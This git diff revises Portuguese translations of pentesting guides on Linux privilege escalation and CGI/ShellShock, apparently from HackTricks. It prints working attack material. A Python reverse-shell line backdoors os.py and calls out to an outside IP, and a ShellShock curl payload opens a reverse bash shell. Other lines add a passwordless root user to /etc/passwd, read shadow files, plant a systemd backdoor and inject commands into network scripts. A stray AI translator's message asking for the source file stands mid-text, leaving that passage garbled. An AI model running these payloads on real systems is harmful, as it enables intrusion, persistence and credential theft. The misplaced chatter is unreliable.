`~/.zshrc`, `~/.bash_profile`. Você pode encontrar outro exemplo em [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) Ou executando algo como: ```bash @@ -1095,10 +1094,10 @@ sudo ls O arquivo `/etc/ld.so.conf` indica **de onde vêm os arquivos de configuração carregados**. Normalmente, este arquivo contém o seguinte caminho: `include /etc/ld.so.conf.d/*.conf` -Isso significa que os arquivos de configuração de `/etc/ld.so.conf.d/*.conf` serão lidos. Esses arquivos de configuração **apontam para outras pastas** onde **bibliotecas** serão **procuradas**. Por exemplo, o conteúdo de `/etc/ld.so.conf.d/libc.conf` é `/usr/local/lib`. **Isso significa que o sistema irá procurar por bibliotecas dentro de `/usr/local/lib`**. +Isso significa que os arquivos de configuração em `/etc/ld.so.conf.d/*.conf` serão lidos. Esses arquivos de configuração **apontam para outras pastas** onde **bibliotecas** serão **procuradas**. Por exemplo, o conteúdo de `/etc/ld.so.conf.d/libc.conf` é `/usr/local/lib`. **Isso significa que o sistema irá procurar por bibliotecas dentro de `/usr/local/lib`**. -Se por algum motivo **um usuário tiver permissões de escrita** em qualquer um dos caminhos indicados: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, qualquer arquivo dentro de `/etc/ld.so.conf.d/` ou qualquer pasta referenciada dentro dos arquivos em `/etc/ld.so.conf.d/*.conf` ele pode ser capaz de escalate privileges.\ -Dê uma olhada em **como explorar essa má configuração** na página a seguir: +Se por algum motivo **um usuário tem permissões de escrita** em qualquer um dos caminhos indicados: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, qualquer arquivo dentro de `/etc/ld.so.conf.d/` ou qualquer pasta referenciada pelos arquivos em `/etc/ld.so.conf.d/*.conf` ele pode ser capaz de escalar privilégios.\ +Veja **como explorar essa má configuração** na página a seguir: {{#ref}} @@ -1140,8 +1139,8 @@ execve(file,argv,0); ``` ## Capacidades -As capacidades do Linux fornecem um **subconjunto dos privilégios root disponíveis a um processo**. Isso efetivamente divide os **privilégios do root em unidades menores e distintas**. Cada uma dessas unidades pode então ser concedida independentemente a processos. Dessa forma o conjunto completo de privilégios é reduzido, diminuindo os riscos de exploração.\ -Leia a seguinte página para **aprender mais sobre capacidades e como abusar delas**: +Linux capabilities provide a **subconjunto dos privilégios root disponíveis a um processo**. Isto divide efetivamente os privilégios root em **unidades menores e distintas**. Cada uma dessas unidades pode então ser concedida de forma independente a processos. Dessa forma o conjunto completo de privilégios é reduzido, diminuindo os riscos de exploração.\ +Leia a página a seguir para **aprender mais sobre capabilities e como abusar delas**: {{#ref}} @@ -1150,14 +1149,14 @@ linux-capabilities.md ## Permissões de diretório -Em um diretório, o **bit de "execute"** implica que o usuário afetado pode "cd" para dentro da pasta.\ -O **bit "read"** implica que o usuário pode **listar** os **arquivos**, e o **bit "write"** implica que o usuário pode **deletar** e **criar** novos **arquivos**. +Em um diretório, o **bit para "execute"** implica que o usuário afetado pode "**cd**" para dentro da pasta.\ +O bit **"read"** implica que o usuário pode **listar** os **arquivos**, e o bit **"write"** implica que o usuário pode **deletar** e **criar** novos **arquivos**. ## ACLs -Listas de Controle de Acesso (ACLs) representam a camada secundária de permissões discricionárias, capazes de **sobrescrever as permissões tradicionais ugo/rwx**. Essas permissões aumentam o controle sobre o acesso a um arquivo ou diretório ao permitir ou negar direitos a usuários específicos que não são os proprietários nem fazem parte do grupo. Esse nível de **granularidade garante um gerenciamento de acesso mais preciso**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Listas de Controle de Acesso (ACLs) representam a camada secundária de permissões discricionárias, capazes de **sobrepor as tradicionais permissões ugo/rwx**. Essas permissões aumentam o controle sobre o acesso a arquivos ou diretórios ao permitir ou negar direitos a usuários específicos que não são os proprietários nem fazem parte do grupo. Esse nível de **granularidade garante um gerenciamento de acesso mais preciso**. Mais detalhes podem ser encontrados [**aqui**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Dar** ao usuário "kali" permissões de leitura e escrita sobre um arquivo: +**Dê** ao usuário "kali" permissões de leitura e escrita sobre um arquivo: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1170,8 +1169,8 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## Sessões de shell abertas -Em **versões antigas** você pode **hijack** alguma sessão de **shell** de outro usuário (**root**).\ -Nas **versões mais recentes** você só poderá **conectar-se** a screen sessions do **seu próprio usuário**. No entanto, você pode encontrar **informações interessantes dentro da sessão**. +Em **versões antigas** você pode **hijack** alguma sessão de **shell** de um usuário diferente (**root**).\ +Em **versões mais recentes** você só poderá **connect** a screen sessions do **seu próprio usuário**. No entanto, você pode encontrar **informações interessantes dentro da sessão**. ### screen sessions hijacking @@ -1190,9 +1189,9 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Isso era um problema com **versões antigas do tmux**. Não consegui hijack a sessão do tmux (v2.1) criada por root quando executando como non-privileged user. +Isto era um problema com **versões antigas do tmux**. Não consegui realizar o hijack de uma sessão tmux (v2.1) criada pelo root como usuário não privilegiado. -**Listar sessões do tmux** +**Listar sessões tmux** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1210,53 +1209,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Check **Valentine box do HTB** for an example. +Veja **Valentine box from HTB** como exemplo. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ -This bug is caused when creating a new ssh key in those OS, as **only 32,768 variations were possible**. This means that all the possibilities can be calculated and **having the ssh public key you can search for the corresponding private key**. You can find the calculated possibilities here: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Todas as chaves SSL e SSH geradas em sistemas baseados em Debian (Ubuntu, Kubuntu, etc) entre setembro de 2006 e 13 de maio de 2008 podem ser afetadas por este bug.\ +Este bug ocorre ao criar uma nova ssh key nesses sistemas, pois **apenas 32,768 variações eram possíveis**. Isto significa que todas as possibilidades podem ser calculadas e, **com a ssh public key em mãos, você pode procurar a private key correspondente**. Você pode encontrar as possibilidades calculadas aqui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values -- **PasswordAuthentication:** Especifica se password authentication é permitida. O padrão é `no`. -- **PubkeyAuthentication:** Especifica se public key authentication é permitida. O padrão é `yes`. -- **PermitEmptyPasswords**: Quando password authentication está permitida, especifica se o servidor permite login em contas com senhas vazias. O padrão é `no`. +- **PasswordAuthentication:** Especifica se a autenticação por senha é permitida. O padrão é `no`. +- **PubkeyAuthentication:** Especifica se a autenticação por public key é permitida. O padrão é `yes`. +- **PermitEmptyPasswords**: Quando a autenticação por senha está permitida, especifica se o servidor permite login em contas com senhas vazias. O padrão é `no`. ### PermitRootLogin -Especifica se root pode fazer login via ssh, o padrão é `no`. Valores possíveis: +Especifica se o root pode fazer login usando ssh, o padrão é `no`. Valores possíveis: -- `yes`: root pode fazer login usando password e private key -- `without-password` or `prohibit-password`: root só pode fazer login com private key -- `forced-commands-only`: Root pode fazer login apenas usando private key e se as opções de comandos estiverem especificadas +- `yes`: root pode fazer login usando senha e private key +- `without-password` or `prohibit-password`: root só pode fazer login com uma private key +- `forced-commands-only`: root só pode fazer login usando private key e se as opções de comando estiverem especificadas - `no` : não ### AuthorizedKeysFile -Especifica os arquivos que contêm os public keys que podem ser usados para user authentication. Pode conter tokens como `%h`, que serão substituídos pelo diretório home. **Você pode indicar caminhos absolutos** (começando em `/`) ou **caminhos relativos a partir do home do usuário**. Por exemplo: +Especifica arquivos que contêm as public keys que podem ser usadas para autenticação de usuário. Pode conter tokens como `%h`, que serão substituídos pelo diretório home. **Você pode indicar caminhos absolutos** (iniciando em `/`) ou **caminhos relativos a partir do home do usuário**. Por exemplo: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Essa configuração indicará que, se você tentar fazer login com a chave **private** do usuário "**testusername**", o ssh vai comparar a public key da sua key com as que estão localizadas em `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access` +Essa configuração indicará que, se você tentar fazer login com a **private** key do usuário "**testusername**", o ssh irá comparar a public key da sua key com as localizadas em `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding permite que você **use suas SSH keys locais em vez de deixar keys** (without passphrases!) no seu servidor. Assim, você poderá **jump** via ssh **to a host** e, a partir daí, **jump to another** host **using** a **key** localizada no seu **initial host**. +SSH agent forwarding permite que você **use your local SSH keys instead of leaving keys** (without passphrases!) no seu servidor. Assim, você poderá **jump** via ssh **to a host** e, a partir daí, **jump to another** host **using** the **key** localizada no seu **initial host**. -Você precisa definir esta opção em `$HOME/.ssh.config` desta forma: +Você precisa definir essa opção em `$HOME/.ssh.config` assim: ``` Host example.com ForwardAgent yes ``` -Observe que se `Host` for `*`, toda vez que o usuário se conectar a uma máquina diferente, essa máquina poderá acessar as chaves (o que é um problema de segurança). +Note que se `Host` for `*`, toda vez que o usuário se conecta a uma máquina diferente, esse host poderá acessar as chaves (o que é um problema de segurança). O arquivo `/etc/ssh_config` pode **sobrescrever** essas **opções** e permitir ou negar essa configuração.\ -O arquivo `/etc/sshd_config` pode **permitir** ou **negar** o ssh-agent forwarding com a diretiva `AllowAgentForwarding` (padrão: allow). +O arquivo `/etc/sshd_config` pode **permitir** ou **negar** o ssh-agent forwarding com a palavra-chave `AllowAgentForwarding` (o padrão é allow). -Se você descobrir que o Forward Agent está configurado em um ambiente, leia a página a seguir, pois **você pode conseguir abusar disso para escalar privilégios**: +Se você encontrar que Forward Agent está configurado em um ambiente, leia a página a seguir, pois **pode ser possível abusar disso para escalar privilégios**: {{#ref}} @@ -1271,22 +1270,22 @@ O arquivo `/etc/profile` e os arquivos em `/etc/profile.d/` são **scripts que s ```bash ls -l /etc/profile /etc/profile.d/ ``` -Se for encontrado algum script de perfil estranho, você deve verificá-lo em busca de **detalhes sensíveis**. +Se algum script de perfil estranho for encontrado, você deve verificá-lo em busca de **detalhes sensíveis**. ### Arquivos Passwd/Shadow -Dependendo do sistema operacional, os arquivos `/etc/passwd` e `/etc/shadow` podem estar usando um nome diferente ou pode haver um backup. Portanto, recomenda-se **encontrar todos eles** e **verificar se você consegue lê-los** para ver **se há hashes** dentro dos arquivos: +Dependendo do sistema operacional, os arquivos `/etc/passwd` e `/etc/shadow` podem estar usando um nome diferente ou pode haver um backup. Portanto, é recomendado **encontrar todos eles** e **verificar se você pode lê-los** para ver **se há hashes** dentro dos arquivos: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Em algumas ocasiões, você pode encontrar **password hashes** dentro do arquivo `/etc/passwd` (ou equivalente) +Em algumas ocasiões você pode encontrar **password hashes** dentro do arquivo `/etc/passwd` (ou equivalente) ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Gravável /etc/passwd +### /etc/passwd gravável Primeiro, gere uma senha com um dos seguintes comandos. ``` @@ -1294,30 +1293,25 @@ openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Preciso do conteúdo de src/linux-hardening/privilege-escalation/README.md para traduzir. Você pode colar o texto aqui? +Preciso do conteúdo do arquivo src/linux-hardening/privilege-escalation/README.md para poder traduzi-lo. -Sobre "Then add the user `hacker` and add the generated password.": quer que eu -- gere uma senha forte e inclua no README traduzido (em texto claro), e adicione um trecho com os comandos shell (useradd, passwd) a serem inseridos no arquivo? -ou -- apenas um snippet de exemplo com comandos, sem colocar a senha em claro? - -Diga qual opção prefere e cole o conteúdo do README.md. +Quer que eu insira também no README instruções para criar o usuário `hacker` e adicionar a senha gerada? Se sim, informe a senha gerada ou diga se quer que eu gere uma senha e a inclua no texto traduzido. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Por exemplo: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -Você agora pode usar o comando `su` com `hacker:hacker` +Agora você pode usar o comando `su` com `hacker:hacker` -Alternativamente, você pode usar as linhas a seguir para adicionar um usuário fictício sem senha.\ +Alternativamente, você pode usar as linhas a seguir para adicionar um dummy user sem senha.\ AVISO: isso pode degradar a segurança atual da máquina. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NOTA: Em plataformas BSD `/etc/passwd` está localizado em `/etc/pwd.db` e `/etc/master.passwd`, também o `/etc/shadow` é renomeado para `/etc/spwd.db`. +NOTA: Em plataformas BSD `/etc/passwd` está localizado em `/etc/pwd.db` e `/etc/master.passwd`, além disso `/etc/shadow` é renomeado para `/etc/spwd.db`. -Você deve verificar se pode **escrever em alguns arquivos sensíveis**. Por exemplo, você consegue escrever em algum **arquivo de configuração de serviço**? +Você deve verificar se consegue **escrever em alguns arquivos sensíveis**. Por exemplo, você consegue escrever em algum **arquivo de configuração de serviço**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user @@ -1328,15 +1322,15 @@ ExecStart=/path/to/backdoor User=root Group=root ``` -Seu backdoor será executado na próxima vez que tomcat for iniciado. +Sua backdoor será executada na próxima vez que o tomcat for iniciado. -### Verificar Diretórios +### Verificar Pastas -Os seguintes diretórios podem conter backups ou informações interessantes: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Provavelmente você não conseguirá ler o último, mas tente) +As seguintes pastas podem conter backups ou informações interessantes: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Provavelmente você não conseguirá ler o último, mas tente) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Localização Estranha/Arquivos Owned +### Localização Estranha/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1357,7 +1351,7 @@ done ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Arquivos DB do Sqlite +### Arquivos Sqlite DB ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1369,7 +1363,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Script/Binaries em PATH** +### **Scripts/Binários no PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1387,20 +1381,20 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### Arquivos conhecidos que contêm senhas -Leia o código do [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), ele procura por **vários arquivos possíveis que podem conter senhas**.\ +Leia o código de [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), ele procura por **vários arquivos que podem conter senhas**.\ **Outra ferramenta interessante** que você pode usar para isso é: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) que é uma aplicação de código aberto usada para recuperar muitas senhas armazenadas em um computador local para Windows, Linux & Mac. ### Logs -Se você conseguir ler logs, pode conseguir encontrar **informações interessantes/confidenciais neles**. Quanto mais estranho o log, mais interessante ele provavelmente será (provavelmente).\ +Se você consegue ler logs, pode ser capaz de encontrar **informações interessantes/confidenciais neles**. Quanto mais estranho o log for, mais interessante ele provavelmente será.\ Além disso, alguns **mal** configurados (backdoored?) **audit logs** podem permitir que você **registre senhas** dentro dos audit logs como explicado neste post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Para **ler logs, o grupo** [**adm**](interesting-groups-linux-pe/index.html#adm-group) será muito útil. +Para ler logs, o grupo [**adm**](interesting-groups-linux-pe/index.html#adm-group) será muito útil. -### Arquivos de shell +### Shell files ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1413,41 +1407,41 @@ Para **ler logs, o grupo** [**adm**](interesting-groups-linux-pe/index.html#adm- ``` ### Generic Creds Search/Regex -Você também deve verificar arquivos que contenham a palavra "**password**" no **nome** ou dentro do **conteúdo**, e também checar IPs e e-mails dentro de logs, ou regexps de hashes.\ -Não vou listar aqui como fazer tudo isso, mas se estiver interessado você pode conferir as últimas verificações que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza. +Você também deve verificar arquivos que contenham a palavra "**password**" no **nome** ou dentro do **conteúdo**, e também verificar por IPs e emails dentro de logs, ou regexps de hashes.\ +Não vou listar aqui como fazer tudo isso, mas se tiver interesse pode conferir as últimas verificações que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza. ## Arquivos graváveis ### Python library hijacking -Se você souber de **onde** um script python vai ser executado e você **puder escrever dentro** dessa pasta ou puder **modificar python libraries**, você pode modificar a OS library e backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library). +If you know from **where** a python script is going to be executed and you **can write inside** that folder or you can **modify python libraries**, you can modify the OS library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library). -Para **backdoor the library** basta adicionar ao final da os.py library a seguinte linha (altere IP and PORT): +Para **backdoor the library** basta adicionar ao final da biblioteca os.py a seguinte linha (mude IP e PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Exploração do logrotate -Uma vulnerabilidade em `logrotate` permite que usuários com **permissões de escrita** em um arquivo de log ou em seus diretórios pai potencialmente obtenham privilégios escalados. Isso acontece porque `logrotate`, frequentemente executado como **root**, pode ser manipulado para executar arquivos arbitrários, especialmente em diretórios como _**/etc/bash_completion.d/**_. É importante verificar permissões não apenas em _/var/log_ mas também em qualquer diretório onde a rotação de logs seja aplicada. +Uma vulnerabilidade no `logrotate` permite que usuários com **permissão de escrita** em um arquivo de log ou em seus diretórios pai potencialmente obtenham privilégios elevados. Isso ocorre porque o `logrotate`, frequentemente executado como **root**, pode ser manipulado para executar arquivos arbitrários, especialmente em diretórios como _**/etc/bash_completion.d/**_. É importante verificar permissões não apenas em _/var/log_ mas também em qualquer diretório onde a rotação de logs seja aplicada. > [!TIP] -> Esta vulnerabilidade afeta `logrotate` na versão `3.18.0` e anteriores +> Essa vulnerabilidade afeta o `logrotate` versão `3.18.0` e anteriores -Mais informações detalhadas sobre a vulnerabilidade podem ser encontradas nesta página: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Informações mais detalhadas sobre a vulnerabilidade podem ser encontradas nesta página: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). Você pode explorar essa vulnerabilidade com [**logrotten**](https://github.com/whotwagner/logrotten). -Essa vulnerabilidade é muito similar a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** então sempre que encontrar que pode alterar logs, verifique quem está gerenciando esses logs e veja se é possível escalar privilégios substituindo os logs por symlinks. +Essa vulnerabilidade é muito similar a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** então sempre que você encontrar que pode alterar logs, verifique quem está gerenciando esses logs e veja se é possível escalar privilégios substituindo os logs por symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Referência da vulnerabilidade:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Se, por qualquer motivo, um usuário conseguir **escrever** um script `ifcf-` em _/etc/sysconfig/network-scripts_ **ou** puder **ajustar** um existente, então o seu **system is pwned**. +Se, por qualquer motivo, um usuário for capaz de **escrever** um script `ifcf-` em _/etc/sysconfig/network-scripts_ **ou** conseguir **ajustar** um existente, então seu **system is pwned**. -Network scripts, _ifcg-eth0_ por exemplo, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. No entanto, eles são \~sourced\~ no Linux pelo Network Manager (dispatcher.d). +Network scripts, _ifcg-eth0_, por exemplo, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. Porém, eles são \~sourced\~ no Linux pelo Network Manager (dispatcher.d). -No meu caso, o atributo `NAME=` nesses network scripts não é tratado corretamente. Se você tiver **espaço em branco no nome o sistema tenta executar a parte após o espaço em branco**. Isso significa que **tudo após o primeiro espaço em branco é executado como root**. +No meu caso, o `NAME=` atribuído nesses network scripts não é tratado corretamente. Se você tiver **espaço em branco no nome, o sistema tenta executar a parte após o espaço em branco**. Isso significa que **tudo após o primeiro espaço em branco é executado como root**. For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1455,17 +1449,17 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Note o espaço em branco entre Network e /bin/id_) +(_Observe o espaço em branco entre Network e /bin/id_) ### **init, init.d, systemd, and rc.d** O diretório `/etc/init.d` abriga **scripts** para System V init (SysVinit), o **sistema clássico de gerenciamento de serviços do Linux**. Inclui scripts para `start`, `stop`, `restart` e, às vezes, `reload` de serviços. Estes podem ser executados diretamente ou através de links simbólicos encontrados em `/etc/rc?.d/`. Um caminho alternativo em sistemas Redhat é `/etc/rc.d/init.d`. -Por outro lado, `/etc/init` está associado ao **Upstart**, um sistema de **gerenciamento de serviços** mais recente introduzido pelo Ubuntu, que usa arquivos de configuração para tarefas de gerenciamento de serviços. Apesar da transição para o Upstart, scripts SysVinit ainda são utilizados junto com as configurações do Upstart devido a uma camada de compatibilidade no Upstart. +Por outro lado, `/etc/init` está associado ao **Upstart**, um **gerenciador de serviços** mais recente introduzido pelo Ubuntu, que usa arquivos de configuração para tarefas de gerenciamento de serviços. Apesar da transição para o Upstart, os scripts SysVinit ainda são utilizados juntamente às configurações do Upstart devido a uma camada de compatibilidade no Upstart. -**systemd** surge como um gerenciador moderno de inicialização e serviços, oferecendo recursos avançados como inicialização de daemons sob demanda, gerenciamento de automount e snapshots de estado do sistema. Ele organiza arquivos em `/usr/lib/systemd/` para pacotes de distribuição e em `/etc/systemd/system/` para modificações do administrador, simplificando o processo de administração do sistema. +**systemd** surge como um gerenciador moderno de inicialização e serviços, oferecendo recursos avançados como inicialização on-demand de daemons, gerenciamento de automount e snapshots do estado do sistema. Ele organiza arquivos em `/usr/lib/systemd/` para pacotes de distribuição e `/etc/systemd/system/` para modificações do administrador, simplificando o processo de administração do sistema. -## Outros Tricks +## Other Tricks ### NFS Privilege escalation @@ -1490,7 +1484,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks comumente hookam um syscall para expor funcionalidades privilegiadas do kernel a um manager em userspace. Autenticação fraca do manager (por exemplo, checagens de assinatura baseadas em FD-order ou esquemas de senha pobres) pode permitir que um app local se passe pelo manager e escale para root em dispositivos já enraizados. Saiba mais e detalhes de exploração aqui: +Android rooting frameworks comumente hookam uma syscall para expor funcionalidades privilegiadas do kernel a um manager em userspace. Autenticação fraca do manager (por exemplo, checagens de assinatura baseadas em FD-order ou esquemas de senha fracos) pode permitir que um app local se faça passar pelo manager e escale para root em dispositivos já-rooted. Saiba mais e detalhes de exploração aqui: {{#ref}} @@ -1499,7 +1493,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244) -A descoberta de serviços dirigida por regex no VMware Tools/Aria Operations pode extrair um caminho de binário a partir de linhas de comando de processos e executá-lo com -v sob um contexto privilegiado. Padrões permissivos (por exemplo, usando \S) podem casar com listeners colocados por um atacante em locais graváveis (por exemplo, /tmp/httpd), levando à execução como root (CWE-426 Untrusted Search Path). +Descoberta de serviços orientada por regex em VMware Tools/Aria Operations pode extrair um caminho de binário das linhas de comando de processos e executá-lo com -v em um contexto privilegiado. Padrões permissivos (por exemplo, usando \S) podem corresponder a listeners staged pelo atacante em locais graváveis (por exemplo, /tmp/httpd), levando à execução como root (CWE-426 Untrusted Search Path). Saiba mais e veja um padrão generalizado aplicável a outras stacks de discovery/monitoring aqui: diff --git a/src/network-services-pentesting/pentesting-web/cgi.md b/src/network-services-pentesting/pentesting-web/cgi.md index 16088d6c7..e86fde674 100644 --- a/src/network-services-pentesting/pentesting-web/cgi.md +++ b/src/network-services-pentesting/pentesting-web/cgi.md @@ -3,22 +3,22 @@ {{#include ../../banners/hacktricks-training.md}} -## Information +## Informação -The **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **change the extension** from **.pl** to **.cgi**, give **execute permissions** \(`chmod +x`\) and **access** the reverse shell **from the web browser** to execute it. -In order to test for **CGI vulns** it's recommended to use `nikto -C all` \(and all the plugins\) +Os **CGI scripts são scripts perl**, então, se você comprometeu um servidor que pode executar _**.cgi**_ scripts você pode **fazer upload de um perl reverse shell** (`/usr/share/webshells/perl/perl-reverse-shell.pl`), **mudar a extensão** de **.pl** para **.cgi**, dar **permissões de execução** (`chmod +x`) e **acessar** o reverse shell **pelo web browser** para executá-lo. +Para testar **CGI vulns** é recomendado usar `nikto -C all` \(e todos os plugins\) ## **ShellShock** -**ShellShock** é uma **vulnerabilidade** que afeta o amplamente usado shell de linha de comando **Bash** em sistemas operacionais baseados em Unix. Ela explora a capacidade do Bash de executar comandos passados por aplicações. A vulnerabilidade está na manipulação de **variáveis de ambiente**, que são valores nomeados dinâmicos que impactam como processos são executados em um computador. Atacantes podem explorar isso anexando **código malicioso** às variáveis de ambiente, que é executado ao receber a variável. Isso permite que atacantes potencialmente comprometam o sistema. +**ShellShock** é uma **vulnerabilidade** que afeta o amplamente usado shell de linha de comando **Bash** em sistemas operacionais baseados em Unix. Ela explora a habilidade do Bash de executar comandos passados por aplicações. A vulnerabilidade reside na manipulação de **variáveis de ambiente**, que são valores nomeados dinâmicos que impactam como processos são executados em um computador. Atacantes podem explorar isso anexando **código malicioso** às variáveis de ambiente, que é executado ao receber a variável. Isso permite que atacantes potencialmente comprometam o sistema. -Ao explorar essa vulnerabilidade a **página pode lançar um erro**. +Ao explorar essa vulnerabilidade a **página pode retornar um erro**. Você pode **encontrar** essa vulnerabilidade percebendo que está usando uma **versão antiga do Apache** e **cgi_mod** \(com pasta cgi\) ou usando **nikto**. ### **Test** -A maioria dos testes baseia-se em usar o comando `echo` para imprimir algo e esperar que essa string seja retornada na resposta web. Se você achar que uma página pode ser vulnerável, procure por todas as páginas cgi e teste-as. +A maioria dos testes consiste em echoar algo e esperar que aquela string seja retornada na resposta web. Se você acha que uma página pode ser vulnerável, procure todas as páginas cgi e teste-as. **Nmap** ```bash @@ -51,15 +51,15 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt > set rhosts 10.1.2.11 > run ``` -## Roteadores CGI centralizados (single endpoint routing via selector parameters) +## Dispatchers CGI centralizados (single endpoint routing via selector parameters) -Muitas interfaces web embarcadas multiplexam dezenas de ações privilegiadas por trás de um único CGI endpoint (por exemplo, `/cgi-bin/cstecgi.cgi`) e usam um parâmetro seletor como `topicurl=` para rotear a requisição para uma função interna. +Muitas UIs web embarcadas multiplexam dezenas de ações privilegiadas atrás de um único endpoint CGI (por exemplo, `/cgi-bin/cstecgi.cgi`) e usam um parâmetro seletor como `topicurl=` para rotear a requisição para uma função interna. -Methodology to exploit these routers: +Metodologia para explorar esses routers: -- Enumerar nomes de handlers: scrape JS/HTML, brute-force com wordlists, ou unpack firmware e grep por strings de handler usadas pelo dispatcher. -- Testar unauthenticated reachability: 